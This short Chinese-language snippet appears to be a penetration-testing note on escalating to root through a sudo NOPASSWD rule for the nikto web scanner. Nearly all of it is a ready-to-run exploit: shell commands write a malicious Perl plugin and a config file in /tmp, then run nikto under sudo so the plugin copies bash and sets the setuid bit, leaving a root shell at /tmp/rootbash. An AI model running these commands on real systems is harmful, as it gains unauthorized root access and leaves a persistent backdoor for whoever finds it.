nikto是perl语言编写的 web漏洞扫描工具,其中的config选项,可以在
NOPASSWD: /usr/bin/nikto
可以以root权限执行nikto情况下利用提权到root
mkdir -p /tmp/evil_plugins
cat > /tmp/evil_plugins/nikto_core.plugin << 'EOF'
#!/usr/bin/perl
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
1;
EOF
cat > /tmp/evil.conf << 'EOF'
EXECDIR=/tmp
PLUGINDIR=/tmp/evil_plugins
EOF
sudo nikto -config /tmp/evil.conf -host 127.0.0.1